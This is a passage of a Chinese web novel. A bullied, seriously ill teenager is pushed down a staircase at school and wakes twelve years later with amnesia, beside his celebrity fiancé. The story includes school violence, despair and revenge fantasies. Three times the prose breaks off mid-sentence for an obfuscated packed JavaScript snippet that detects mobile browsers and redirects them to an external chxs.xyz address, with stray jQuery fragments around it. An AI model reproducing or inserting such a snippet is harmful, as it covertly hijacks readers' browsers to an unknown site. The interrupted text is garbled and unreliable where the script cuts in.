傅斯霆怔住了,手指不自觉地松开了栏杆。 全世界里仿佛只剩下那张明亮笑脸。他就那样在桥上静静看了好久,一直站到双腿发麻,手指冻僵。 …… 一直以来,无非也就是这样一些小小的美好,几支广告,几首歌,能够偶然点亮一下漫长的黑夜,让傅斯霆燃起一点可以继续下去的指望。 天台上,夕阳西下。 几个富二代混混骂骂咧咧走上来抽烟。他们的老大梁钧因为打了傅斯霆被罚停课,一群人本来就不爽,又听见学校给那个穷鬼卖惨募捐了一整天,心情可想而知。 偏偏现在,又狭路相逢。 他们一上天台就看见傅斯霆像个僵尸一样,沉默地站在夕阳下,一动不动。 他一直发呆,直到广播里厉非的新歌放完了。 才抿了抿苍白的唇,很机械地笑了一下。不知是不是夕阳染的眼眶微红,他抬起袖子稍微蹭了一下。 操,神经病吧。 一个小弟实在没忍住:“他居然还真哭了?卧槽这疯狗到底是什么品种的情种啊,听首歌就哭。是真爱人家男明星啊。哈,也不撒泡尿照照镜子,癞蛤蟆想吃天鹅肉,恐怖如斯!” 另一个高个子则抱着手走到傅斯霆面前,抬起下巴:“听说短短一天募了快十万呢,这是发掘卖惨新赛道了,啧啧,来钱真快啊,这不比做鸭容易?” “是啊,昨天碰瓷梁哥碰的可爽了吧,他爸不是已经赔了你钱了吗,怎么今天还跟大家要啊?多少才够,还贪得无厌了是吧?哟你那什么眼神,你还想……” 高个男孩话没说完,脸上就挨了重重一拳。 天台上,衣衫单薄的少年像疯了一样,按住男生的头就往地上撞。一下又一下,剩下五六个人都却被他狠戾劲儿吓到了,一时间甚至连拉架都忘了。 直到高个男生鼻血流了出来,旁边人这才反应过来,赶紧上去拉。 挨打的男生也发了癫:“艹,你敢,你居然敢……老子今天弄死你! 傅斯霆轻轻“嗯”了一声,抄起旁边铁制的长柄簸箕。 “来。” 重病也有好处。 那就是他再也不用在乎什么记过、奖学金了。 也不需要在乎前途或者接下来的命运。 傅斯霆低低笑了一声,只觉得眼前这群人很蠢。明明知道他得了治不好的病,已经没什么可活的了。还来惹他? “操,这小子疯了!” …… 傅斯霆就是疯了。 他整张脸扭曲狰狞得像是从地狱里爬出来的恶鬼,拖着一条腿,一瘸一拐地一路追杀。 他真想把他们都杀了,反正他也没路可走了,现在不是随便拉上谁垫背都值了么? 谁让你们…… 谁让你们成天造谣、骚扰、嘲讽、霸凌,不给别人一点点活路。 明明我只是,想好好活着而已。 只想正常地上学,兼职,哪怕穷苦,也会尽力地把日子一天天过下去。为什么一点希望都不给我?为什么。 那就都死吧。 就都一起死,一个也别活。 他像是头发疯的受伤的狼,摇晃扭曲,却还追着那群人疯狂撕咬。几个人被他干得头破血流,跑出了一整个走廊,才反应过来明明自己这边人多。 几个人终于停下脚步,一拥而上扯住傅斯霆,带头的高个眼里闪过一抹狠:“把他从这扔去,摔死他!” 傅斯霆脚下一空,被从楼梯上狠狠推下。 肋骨一遍遍磕在台阶上,无比尖锐的疼痛。鼻梁骨好像也折断了,他微微睁开眼睛,眼前却仿佛被血浸染,只有鲜红的颜色。 他仰面躺在楼梯下,只能感受到每一次呼吸都带着浓烈的血腥味。身体不断抽搐着,倒吸着冷气,却动不了。 有人的惊呼吼叫,但却像是隔着厚厚的玻璃,很模糊、很遥远。 傅斯霆十六岁,早就习惯了各种各样的疼和冷。只是这次,他像他可能大概真的要死了。 其实,也好…… 他死了,推他下来的那些人就都是杀人犯。 他们都超过十六岁了,就算未成年也绝不会完全没惩罚。 而他反正也是要死,换这些金尊玉贵的少爷们一个个进去蹲几年,也不算亏。 小周边绒毛娃娃从口袋掉了出来,掉在身侧,他努力动了动手指,想要抓住它。 可惜,只差一点。 碰不到。 短短十六年,那一点点能够让他继续撑下去的灿烂明亮,终归还是太遥远。永远不会真的照到他身上。 再坚强的人,也总有撑不住的一天。 够了,就这么结束也好。 不用再痛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977737|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用再辛苦,不用再挣扎。 …… 傅斯霆又醒了。 双眼微微睁开,视线模糊中,隐约看到的又是医院白色的天花板和刺眼的灯。 他居然,还没死。 断了几根骨头?不知道。傅斯霆唯一庆幸的是至少他的脑袋应该是没摔坏,还能飞速思考—— 多断几根骨头也好,人身伤害越重,那些人越无法轻易把这事大事化小。 他们不是骂他卖惨骗钱? 好,那他这次就让那群人的家长狠狠、狠狠地赔一笔。他们要是敢不赔,要是再敢只手遮天,他也不怕了。 大不了等他出院,去那些人家见一个砍一个。 反正他现在什么都不怕,不会让他们任何一个好过。 “……” 忽然有人伸出手,轻轻替他拭去眼角泪水,像是触碰易碎的珍宝。 “乖,不哭。” 傅斯霆僵住,那人手指修长温暖:“是不是哪里疼?还是又做噩梦了?” “傅斯霆,醒醒,梦都是反的。” “有我在这呢,没人可以伤害你,以前那些事……都已经过去了。不疼了,嗯?” 温暖的掌心覆上了他的双眼。 黑暗包裹,傅斯霆紧绷的神经稍稍放松。跟他说话的低沉男音也压抑住了刚才的心疼,转而带了些笑意。 他逗他:“我家宝贝怎么一直不说话啊,不是真给摔傻了吧。” “傅斯霆,你看看我,说句话。” “你还记得自己跌下楼梯的事吗?还好只是软组织挫伤,一处手腕骨裂和轻微的脑震荡。” “不会轻微脑震荡就给摔得不会说话了吧?” “你可别吓我。” 空气中浮荡着的又是那淡淡冷冽的墨香。男人的手轻轻捏着他的脸庞,将他的视线调过来。 眼前一切逐渐清晰。 傅斯霆看到的,是一个二十七八岁、矜贵优雅的青年。 他的头发往后梳着,只有几缕散落额前。一丝不苟的银灰色西装贴合着身躯,气质卓然不凡。墨玉色的眼睛深邃沉静、像是一块没有化开的墨。 白炽灯照着他的颈子一角,黑曜石的领针闪着深邃而温润的光,和他的眼睛一模一样。 ……厉非。 人生第一次,心脏完全不受控制地剧烈跳动。 一下,又一下。跳得傅斯霆整个人都恍惚,胸腔跟着隐隐发酸发疼。 他想让那心跳慢下来,却完全控制不了。 眼前人应该不是厉非…… 傅斯霆尽管身体无比沉重,头脑也有些昏沉,但好歹基本神智还在——厉非跟他一样,只有十六岁。 十六岁的厉非,是一本正经、矜贵而眼神犀利的少年,像一块未经打磨的锋利宝石。 而眼前男人眉眼虽然和厉非极为相似,却明显大了几岁,气质更内敛沉稳、矜贵从容。有一种名贵宝石被打磨后藏了锋芒的含蓄温和。 ……世界上为什么会有这样的人。 傅斯霆不明白。 他本来以为,不可能有比巧克力糖果广告上那个灿烂笑容更让人怦然心动、一眼万年的存在了。 可他竟然错了。 眼前矜贵优雅的男人很像厉非,却比记忆中那个眉目冷然的年少,更加、更加的…… 傅斯霆不知道那一刻自己的感觉究竟是什么。 好像被一只无形的手揪住了心脏。那种感觉很不好受。陌生,惶然而心悸,他一时难以忍受,却又不知所措。 最后,就只能淡淡移开眼神,抿了唇,不敢再多看一眼。 5. 第 5 章 之后发生了什么……傅斯霆只依稀记得,男人问了他几句话。 他的声音很低沉好听,像是大提琴优雅的弦音缓缓流淌,很配那张优雅从容的脸。 他不止长得很像厉非。 声音也……挺像的。 傅斯霆有些头晕,思绪像是被搅乱的湖水,他囫囵应答着对方的提问,昏沉之间时间和周遭的景物好像好像都被摁下了快进键,飞速流逝又不留痕迹。 也不知道是不是他说错了什么。 男人神色微变,蹙眉沉吟,突然起身走了出去。 修长的身影在病房的灯光下拉出一道淡淡的影子,随即消失不见。傅斯霆只能僵在床上,眼睁睁什么都做不了。 趁着男人离开,病房里突然又涌进来一堆人。 没有一个傅斯霆认识的。 不是他的同学,也没有熟悉的老师。几乎全是成年人,帅哥美女们衣着光鲜,像是从时尚杂志里走出来的一样。 那些人却个个好像跟他很熟,十分亲热地就开始围着他嘘寒问暖、问东问西。 “哎呀,你瞧这摔的,躺了一个星期都瘦了!饿不饿啊小霆,这好像有粥,你喝不喝?” “哎呀人才醒你别乱喂,回头喂出个三长两短来,小非弄死你啊。” “啊哈哈总之醒了就好,这下非哥也能放心了。真的,医生都说也没撞着什么致命的地方,咋就一睡睡了一整个星期?可把咱们非哥吓死了。” “是啊斯霆,小非这次那么重要颁奖都没去就在这里守着你,下次不能再这么不小心了。真的,人水逆确实走楼梯都会把自己摔死的。你说你也是,明明有电梯,你非要走什么楼梯呀?” “也就是你命大,这么高的楼梯滚下来也没啥事。但以后真得小心了,这么帅一个非非,你好不容易才追到的,多少人虎视眈眈呢。你舍得他当寡夫啊?到时候做鬼都闭不上眼我告诉你。” “喂,霆哥你咋了?” “你怎么醒了以后眼神那么……咳,呆滞?” “霆哥,霆哥?你听见咱们说话了吗?给个反应啊倒是?” 围着他病床的一大群人里,只有眼前这个脸几乎贴到他脸上来的虎牙少年,似乎年龄跟他差别不大。 那少年有点三白眼,却不影响他样子好看得过分。 他活泼,话特别多,一张脸怼着傅斯霆就不客气地上瞅下瞅。瞅了一会儿,他突然扶着额头一脸天崩地裂: “完了完了,我怎么觉得他都没在听的。霆哥,你理理我,你正常点行不行?” “哎,他这不是摔下楼梯被撞得……出什么后遗症,咳,比如失忆了吧?” “真的霆哥,你说两句话行不行?你怎么醒了以后眼珠都不带转的,跟个蜡像似的,看着怪吓人。” “……” “霆哥,你认得我吗?你还记得我是谁吗?” “卧槽他好像真的不太认识我啊,该不会真失忆了吧?啊?可医生不是说不会有后遗症的吗?” 少年抓着傅斯霆的肩膀,开始戏剧咆哮,“霆哥,霆哥,你快告诉我,我是谁?你快说啊啊啊啊!” “你可别闹了吧以豪,”旁边一个年纪大点的帅哥无奈,“你当这是在演你家星辰刚拍的那个《失忆一百天》呢?他这是麻药后遗症,反应慢。” “不对不对不对,”另一个美女摇着手指,“他摔下去都一星期之前的事了,哪有麻药反应那么久的?” 胡子拉碴、文艺范的大叔则拍拍傅斯霆的手:“霆啊,我们小非可是守着你几天几夜没睡,你看看短短一个星期憔悴了多少!患难见真情,你好了以后可得好好对人家,以后不许再吵架了。嗯?” 虎牙少年则继续皱眉歪头:“但看眼神,好像也不是失忆啊,这不一直盯着门看呢么?” “起码知道盯妻、当望妻石,就应该还好吧。” “说起来非哥去跟医生说什么了,说那么久?” “……” 众人闹了一会儿,那个长得很像厉非、漆黑色眼睛的男人终于回来了。 他一进房间,世界骤然安静。 探视时间结束,众人留下礼物就都出去了。 只有他留了下来,拉了椅子在傅斯霆床边坐下。 很近。 近到傅斯霆整个人都被淡淡墨水香包裹住,像是要融化在那清冽矜贵的香气里一样。 他低垂眼眸,清晰听到自己的心跳声。嗓子也跟着骤然干涸,有些发痛,背后也有些微微燥热发汗。 一时无所适从,只能默默盯着自己的垂在被子上的双手。 半晌,那人开口,“别担心,我刚跟医生说了你的情况。” “他们开完会,马上就过来看你记忆混乱的问题。” 记忆……混乱? 傅斯霆恍惚地胡乱点点头,目光则直勾勾看着对方西装下露出的白衬衫袖口,那袖扣和领针一样都是黑曜石,在白炽灯下深邃沉静的黑光。 自己的脑袋……好像确实,至今不是特别清晰。 好在,身体经过一小段时间的恢复,手指终于已经能动了。 指腹偷偷摸到了被单,是丝绸柔软细腻。 和家里垫床的粗布不一样,没有一丝凹凸。 “傅斯霆。” 大概是他实在太过于异常,男人不免担心皱眉。 他伸出一只手,手指在距离傅斯霆脸颊一厘米左右微微停滞,那双墨块一样黑的眼睛定定看着他,像在确认什么。 直到片刻后,感受不到傅斯霆必然的抗拒,指尖才终于落了下来。 蹭着傅斯霆的脸颊耳侧,柔柔的,轻轻地摸了几下。 指尖碰触的地方酥酥痒痒,傅斯霆的身体骤然绷紧,像是被电流击中,从脊背一路蔓延到指尖。 这种被人抚摸的感觉,实在过于陌生。他咬咬牙,终于缓缓抬起眼,对上了那化不开的墨玉眸子。 他真的长得好像厉非…… 只是比厉非更成熟些,更帅得……完全不真实。 但这样的想法只有一瞬,傅斯霆就又默默躲开了那灼热的视线。目光一点点飘忽不定,下移又落回男人白衬衫下面骨节分明的手腕上。 手腕上有什么很眼熟。 傅斯霆这才看清对方的手腕上系着一条褪了色的古朴旧牛皮绳子,上面挂着一只小巧精致的藏银小狐。 ……那是他的手绳。 小时候外婆亲自搓的牛皮,亲手给他编的。 傅斯霆的亲生爸妈都没什么文化,唯独外婆当年曾是旧社会资本家的大小姐,不仅会文识字,还擅长丹青书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977738|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法。虽然一生命运浮沉,但一直乐观坚强。 他的名字也是外婆起的。 傅斯霆的人生里,五岁前与外婆一起的时光虽不多,但都是温馨美好的片段。因而那个手绳他一直珍视,虽然已经很旧了,但多年都带在手腕。 现在那手绳为什么会在他手上? 正想着,对方叹了口气,单手解下了手绳。拉过傅斯霆的手腕,给他轻轻系了回去。 “也不知道是不是因为你把自己的幸运手绳给了我,这几年我倒是被保佑了,可你却总是多灾多难的。” “所以,还是让外婆的小狐狸继续保护你吧。你现在这样,肯定比我更需要保护。” “……” 傅斯霆沉默了。半晌,终于再次缓缓抬眼。 重新对上目光时,他在男人温和耐心的眼睛里,终究是看到了一丝隐藏不住的担心和疲惫。 刚才那些人好像说,他几天没睡…… 心脏微微刺痛了一下。 傅斯霆张了张嘴,却说不出话来。 “……” “其实,我也不该太贪心就是了。”片刻之后,倒是男人先笑笑安慰他,“你昏迷了那么久,肯醒来就已经很好了。” 他说完,突然凑近。 冷冽的墨水香扑面而来,傅斯霆眼前一片混沌。 直到额头相抵,他才恍然明白过来,对方只是在测他的体温。测完他没发烧,就放开了他。 可是。 就这么短短的一瞬。 傅斯霆却发现自己几乎……难以抑制荒谬的冲动,想要凑近碰触那近在咫尺的薄唇。 简直疯了一样。 这种感觉陌生又可怖,傅斯霆整个僵住,想不通。 在这之前,他应该是从来没有过…… 这样毫无缘由的冲动。 虽然他理论上正处在青春期,但作为被生活压的喘不过气、一边上学还要一边课下兼职打工的人,真的很少有莫名其妙的妄想。 所以刚才那是…… 不是的,傅斯霆暗想。 不是。他应该只是一时头脑发昏。或许是那墨水的香味里,带了……一丝让人短暂失神的,诱人的柑橘甜。 好在那人坐回去以后,香甜也逐渐变得稀薄。 傅斯霆不动声色松了一口气,继续听男人说刚刚没说完的话—— “而且,就算你真的撞到头失忆,不记得我,也不记得其他人,好在至少还没忘了你自己是谁。” “也并不是什么都忘了。” “哪怕只记得一些,也总比什么都不记得好。” 那人说着,突然再度拿起他垂在床边的手。 这次,他没有再理会傅斯霆的瞬间僵硬。眸光浮动间,强硬在他掌心一笔一划,写下了“厉非”两个字。 简单两个字,傅斯霆的心就被狠狠撞击。 而男人写完,抬起眼来,黑瞳定定看着他。烫人的视线中,傅斯霆听到他缓缓开口: “重新认识一下。我是厉非,你的未婚夫。” “我们三年前在一起,同居了两年。” “感情很好……至少在我看来,算是感情很不错。” …… 傅斯霆整个人如坠云雾。 他想不通。 6. 第 6 章 不一会儿,几个穿白大褂的医生敲门后鱼贯而入。 他们给傅斯霆重新做了一遍检查,又接连问了不少问题。很快得出了结论。 其中一位医生拿了张片子,展示给两人。 “厉先生您仔细看,病人的后脑这里,就是这里,有一小团淤血卡住了。因为位置刁钻,之前的片子一直没有看到。” “所以,是这个血块引起了失忆?” 厉非眉头微皱,紧盯着片子。 “多半是这样了。”医生推了推鼻梁上的眼镜。 “不过您请放心,淤血理论上是可以自行吸收的。十天半个月,最多一个月。到时不再压迫神经就好了,不用过于担心。” “而且傅先生昏迷的这一周里,血块应该是已经消了一部分了,所以他现在还能记得自己是谁。” “至于剩下的记忆,过几天应该也会慢慢想起来,直到彻底恢复正常。” “那就好,”厉非点头,神色稍缓,“万一到时候还是想不起来呢?” “咱们可以先观察,真有问题再安排后续治疗。按照一般案例,都是能在一个月内自行恢复正常的。” 厉非听到这里,才真正松了口气。 随即转回眼神,看着傅斯霆那双仍旧灰沉沉、透着迷茫的眼睛,无奈浅笑。 “傻子。” “听明白怎么回事了吧?你短暂性地失忆了。” “你也是不一般,平地走路摔下楼梯,轻微脑震荡直接失忆。” 他说着,又习惯性伸出手想傅斯霆摸一把。 可好像又怕不小心把他摸得脑血栓加重,最后只是轻轻在头发上蹭了蹭。 傅斯霆嘴唇轻轻动了几下。 “我,”片刻后,他艰涩开口,“我……不是失忆。” “是是是,知道知道,”医生里面最年轻的那一位马上接了话,“厉先生都跟我们说了,你以为自己今年还在上高中。也不知道怎么的,反正摔下楼梯后就穿越了。” 年轻医生说着,忍不住学起了电影解说的腔调:“大家好,这个男人叫小帅。他跌下楼梯一睁眼后,不知怎么就来到了十二年后……” “……咳。” “总之,你以为现在还是十二年前的二零X三年,在那之后整整十二年的事情你都不记得了。包括自己的未婚夫,以及这十二年里所有的朋友。” “但现在……真的已经是十二年后的二零X五了!” “你要是不信,咱们每位医生手机上都有时间,你可以去对。要还不信,外面大街上还有路人。实在不行等晚上七点还可以看一下新闻,看主持人怎么说?” “嗨呀,总之……” “你只是因为撞到脑袋,记忆混乱了,才会认为那些混乱的记忆是对的。” “但还是尽量接受一下现实?” “你真的只是因为淤血,暂时丢了这十二年的记忆,所以误以为自己穿越了。” 医生说着坐下来,掏出手机打开相机,镜头转到傅斯霆面前:“无论如何,我先给傅先生您加深一下真实感。” “您已经二十八岁了。” “真的不是十六岁的小朋友了,不信自己看?” “……” 医生的手机是傅斯霆没见过的新款式,线条流畅,屏幕折叠。 傅斯霆还没弄明白那屏是怎么能折叠的,自拍相机里就清晰倒影出了他的脸。 他盯着那张陌生又熟悉的脸。 那面容的棱角确实是他的。即便变了些,他也不至于认不出自己。 只是,明明是他——却又有点不像他。 比高中时候那副营养不良模样,如今的他帅了好多。尽管睡了多天蓬头垢面有点颓废,打起精神来仍旧还是好看的。 只是,那分明是一个……成熟、帅气,健康加强版的他,是傅斯霆从来没有想象过可以成为的模样。 手机上显示的时间确实指向了十年后的二零X二五年。 窗外的景色也不是他记忆中飘雪的隆冬。 而是新绿的夏。 蝉鸣阵阵。 *** 一天后,傅斯霆出院了。 他走出医院才发现,这里居然是国外。 也就只有那家私人医院是全华裔的医生护士。外面的大街,则是一座热带风情椰子树掩映的城市,街上白人、墨西哥裔和黑人川流不息。 但这都无关紧要了。 毕竟这也不过是……这两天所有让他所有茫然和哑口无言的事情里面,过于微不足道的一个。 他的脑子仍然是乱的。 很累,几乎一夜没睡,整个人直到出院还在恍惚晕眩。就这么手脚冰凉地被牵上了保姆车。 厉非的手一直很温暖。 似乎察觉到他在发冷,一直轻轻替他暖着。 傅斯霆这几天被他触碰了很多次,从最初的僵硬,到渐渐放松。 车上,他甚至小心翼翼,有些造次地主动靠着厉非的肩膀。 很困。 虽然也知道这种状况下睡着实属奢侈,可他实在很昏沉。迷迷糊糊间听到厉非接了个电话,声音很低:“是,他昨天睡得不好,所以提前出院了。” “他神经太紧张,希望回到家可以好好睡一下。” “还好,没有胃疼。” “也没有明显情绪上的问题,没有躯体化症状。” “嗯,我肯定会多观察多留意。谢谢徐医生,有什么事情我再打给您。” 车子载着两人很快回了郊区的家。 那是一整个公园一样的别墅群,车子缓缓驶入,沿途景物过于应接不暇,让傅斯霆不得不重新打起精神。 修剪整齐的草坪绿得像被雨水洗过,错落有致的灌木交错投下斑驳树影,不远处还隐约可见的湛蓝色、波光粼粼的泳池,如同嵌在绿带中的蓝宝石。 整个周遭的豪华程度,完全超过傅斯霆的认知。 车子停下的地方,更是僻静的一栋独栋别墅。 童话城堡一样的红顶,灰白的砖墙被高大挺拔的椰树和松树林包围。别墅前的小花园里,玫瑰、郁金香和很多他认不出的花交织成一片绚烂。喷泉从雕刻精美的石像中涌出,激起圈圈涟漪,在阳光下晶莹闪烁仿佛一地碎钻。 “……” 这真的是他们的家么? 在傅斯霆看来,这里明明更像是一座小城堡。 他恍惚下了车,眸光倒映着眼前特别没有真实感的一草一木,被迫再度巩固了被灌输的认知——现在的时间,真是十二年后了。 他明明是十六岁的傅斯霆。 却穿越来到了十二年后的自己身上,面对着12年后自己拥有的一切。 当然,这件事至今只有他自己这么认为。其他人都还坚持认定他就是二十八岁的傅斯霆,只是因为脑部淤血才产生了混乱。 至于什么“穿越到了十二年后”的说法…… 首先那堆来看他的朋友,就没一个信。 他们面面相觑,小虎牙帅哥倒是由衷地高兴起来,嘿嘿笑着:“小非哥你看,也没什么可担忧的不是吗?” “事实证明,十六岁时的高中生霆哥其实也和二十八岁时没有什么太大的区别。一样的天马行空、想象力丰富!” 医生更是态度坚定,一脸严肃认真且学术,同情地拍拍傅斯霆: “傅先生,咳,您虽然现在只有高中记忆,但,高中物理学过吧?” “时间是单向流动的知道吧?就算这个没学过,至少热力学第二定律学过吧?” “‘热量不可能自发地从低温物体传递到高温物体,而只能从高温物体传递到低温物体’——热力学第二定律表明,自然界中存在着一个不可逆的熵增过程。这个过程只能朝着一个方向进行,即从低熵状态到高熵状态。而时间的单向性与熵增过程有关……” “总之就是,咱们要相信科学。” “时空穿越这种事,归根结底从科学上来说就是不存在的,懂了吗?虽然您暂时失忆了,也请好好在想一想。” 继而,医生转向厉非,无奈又沉痛:“没关系的厉先生,他非要这么认为,就暂时让他这么认为吧。” “反正十天半个月就好了。” “对对,您放心,不是精神分裂,不是双重人格,也不是心理疾病。” “就是血块压迫神经导致的暂时性失忆,吸收了就好了。这几天病人家属多多支持病人,也不用自己吓自己。” “……” 所有人中,也就厉非一个耐心且认真地听完了傅斯霆的辩驳。 并且尽量保持了全程不笑。 但他最后还是没忍住笑了,厉非垂眸笑时的样子很好看,比起糖果广告上的还要更加明亮动人。 …… 之后一天的住院时间,傅斯霆默默发现,二十八岁的厉非常喜欢主动碰触他。 他在病房陪他,削苹果、安静看书,或者回复工作信息。但时不时地就会过来看他几眼,摸摸他的脸、蹭蹭他的耳畔。 厉非的指尖温度灼热。 以至于好几次,傅斯霆猝不及防,下意识想要闪避。 有一次他确实躲开了,厉非手指僵在半空,倒也没有露出什么失落或难过的表情,只是一双黑瞳静静看着他。 “不喜欢我碰你?” 那一刻,傅斯霆清楚听到自己艰难的呼吸声。 “……不是。” “……” “那为什么躲?” 大概因为,厉非的每一次碰触确实都太过滚烫。 就连只是被那双黑瞳平静注视,傅斯霆都觉得前胸后背像是被火烧了。太多铺天盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977739|161423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的陌生感受,他口干舌燥、无措又难受。 “我是你的男朋友。” 半晌,他听到厉非语调平静地说。 “就算失忆,也不能说不是就不是了。” “……” 有一瞬间,厉非的眼神不再是之前内敛而温和的样子。反而有些像是……他后来参演的一部电影里,不显山不露水的民国青帮大少爷。 优雅,平静,但不容置疑。 态度虽然温和,眼神却分明是不由分说的“你早点习惯”。 傅斯霆默默不做声了。 …… 而现在,他站在异国他乡“自己家的花园”里,看着眼前修剪整齐的松树、潺潺流淌的喷泉、宛如城堡一样的家。 这种时候,再去分辨到底是时空穿越还是脑血栓,好像已经没了任何意义。 只是有一点…… 傅斯霆默默站在花园中央,阳光照在身上很真实地暖和。院子里居然有鸽子,落在他身上咕咕叫了两声,小爪子抓得他皮肤有点疼。 不管是穿越也好,失忆也罢。但既然,二十八岁的他还能站在这院子里…… 那就意味着,十二年后,他还活着? 那就意味着他战胜了胃癌,成功拿到了只有百分之二十到百分之四十的概率,活了下来,是吗? 厉非:“是,我家宝贝最坚强也最厉害,当然战胜了病魔。” “放心,现在咱们每年体检两次,各项指标都好着呢。以后也都会健健康康的。” “……” 明明,无论是在荧幕上,在幕后采访中,傅斯霆看到的十六岁的厉非,都多是一副高冷、矜贵、生人勿近的样子示人。 所以即便在他的幻想中,厉非也并不是一个很好接近的性格。 可眼前的事实却是,“高冷”的厉非并不寡言。 喜欢摸人,完全不排斥肢体接触,甚至一路都主动稳稳牵着他的手腕,掌心温暖。 傅斯霆就这样被拽着,恍恍惚惚一直到了家门口。 停在玄关门前时,他的脸陡然又被温暖的双手捧了起来。 “到家了。”厉非说。 “回家以后,你就乖乖安心养身体,不许胡思乱想——我家宝贝是有点多灾多难,但也从来什么困难都能战胜,这次也没有问题。” “……” “还有,你的病是真的好了。不信你看,看现在这腰上的肉质,被我养得有多紧实?” 说着,腰上冷不丁被掐了一把。 十六岁的傅斯霆默默僵硬,登时动作迟缓。 穿越到十二年后的第二天,他终于第一次低下头,去留意二十八岁自己的身材。 十六岁的他营养不良,身上没有一点肉,肋骨分明。 可二十八岁的他……身材却已经非常好。穿衣显瘦,但衣服之下又有锻炼得很好看的八块腹肌。 腰也是,看着瘦窄,但厉非捏上去时,又明显有一层有力的肌肉。 “……” 傅斯霆脸色古怪。 他还是不能相信,明明十六岁的他什么都一塌糊涂。 二十八岁的自己,到底是怎么就可以拥有眼前这种难以想象的漂亮房子,和这么好的身材的? 更要命的是…… 他,还拥有厉非。 二十八岁的厉非褪去了一些青涩,举手投足之间,更加让人怦然心动。是那种多看一眼,都会让人喘不过气的魅力十足。 这样的人,为什么在他身边…… 那个少年时傅斯霆只能隔着玻璃橱窗张望,透过荧幕遥遥望见、触不可及的,云端上的厉非。 为什么竟然能是他的男朋友。 傅斯霆都缓了整整一天了,还是至今缓不过来。 他想不通,他到底凭什么可以拥有厉非…… 医院里,帅哥美女朋友们七嘴八舌告诉了他好多事。当年十六岁的厉非演过很多电影、拿过国际奖项,出过专辑,已经非常厉害。如今十二年后的厉非更早已经是满贯影帝。 这样的厉非。 为什么会愿意跟他在一起? 他们还说他俩已经同居了两年,感情甜蜜融洽。两个月前在海岛,还是厉非跟他求的婚。 是厉非,主动向他,求的婚。 有相片,甚至还有全程视频。 听到这事的瞬间,傅斯霆心脏直接停跳,呼吸也没了,也就只有神色依旧勉强平静。 他不敢有什么表情。 生怕稍有动作,一切就都会化成泡影。他会突然从梦里醒来,发现自己被关在精神病院。 所有一切都不过是他发疯时的一场幻梦。 ……但十六岁的傅斯霆,其实根本都不敢做这样的梦。 他对未来人生最出格的妄想,都没有眼前这么不切实际地疯狂。 7. 第 7 章 叫尹以豪的小虎牙少年出院前又来过一回。 他还是上蹿下跳,活泼得像只小金丝猴。献宝一样递给傅斯霆一张U盘,说是他特意从亲友手机里收集的全套“海岛求婚合集”照片和视频。 他让傅斯霆没事可以看看,说不定能帮忙想起点什么。 但傅斯霆只是默默收了U盘,没再拿出来。 如今,踏进“家门”。 厉非让傅斯霆先坐一下,而傅斯霆……默默看了看门厅天花板上悬挂着的巨大的水晶吊灯,又毫无真实感地踩了踩薄底拖鞋下触感柔软厚实的地毯。 目光继续延伸向旋转上楼的扶梯,壁炉、油画、陶瓷摆件,以及客厅看起来很柔软的奶白色沙发,和上面堆满的各种可爱形状的抱枕。 “……” 他没敢去坐那漂亮的沙发。 而是规规矩矩地坐在了旁边一个明显有点小的、南瓜形状的茶几凳上,略微局促。 很快,厉非端着一小杯深烘焙的摩卡咖啡出来了。 然后一眼就看到自己二十八岁的男朋友正无比规规矩矩、直挺挺地坐在之前他们为了朋友带孩子来玩时专门买的儿童南瓜小凳上。 他垂眸,有些好笑,倒也没说什么。 傅斯霆从他手里接过那杯咖啡。 杯子特别可爱,是一只橘色的小狐狸。狐狸尾巴是杯耳,他一看就很喜欢。 杯子里热热的摩卡咖啡,诱人的浓郁的烤焦巧克力混杂着坚果香味,就更是让他心动。 因为厉非的关系,傅斯霆初二以后的几年,时不时会去学校附近商场的电影院大厅稍微待一待。 虽然他花不起几十块去买一张奢侈的电影票。但大厅里也会循环播放电影片花。他常常就坐在那里一遍一遍看着厉非短暂的几幕影像,也能看上很久。 电影院大厅的小车里,每天都在卖咖啡和爆米花。 电影院的摩卡也像手里这杯一样,特别香,他常常沉浸在咖啡豆的香味里,一直想知道喝起来会是什么滋味。 现在,终于啜到了第一口。 结果非常意外的很苦,还有一丝钻心的酸涩。 厉非:“……” 他又冷不丁地突然贴脸凑过去了。傅斯霆手一抖,差点没打翻杯子。僵硬无比地看着他。 “觉得苦吗?” “倒也是,长大后喜欢这个也就罢了。十六岁的小朋友,又怎么可能喜欢喝那么苦的东西。” 厉非看着他,黑色的眼睛还是那么深邃漂亮。 “不喜欢可以说出来,我去给你换甜的。” 说着他就要拿走咖啡,傅斯霆赶紧把剩下的一口闷了,努力忽视满口腔的要命的苦味,一脸大义凛然。 “……不苦,很香。” 厉非歪歪头,笑了。 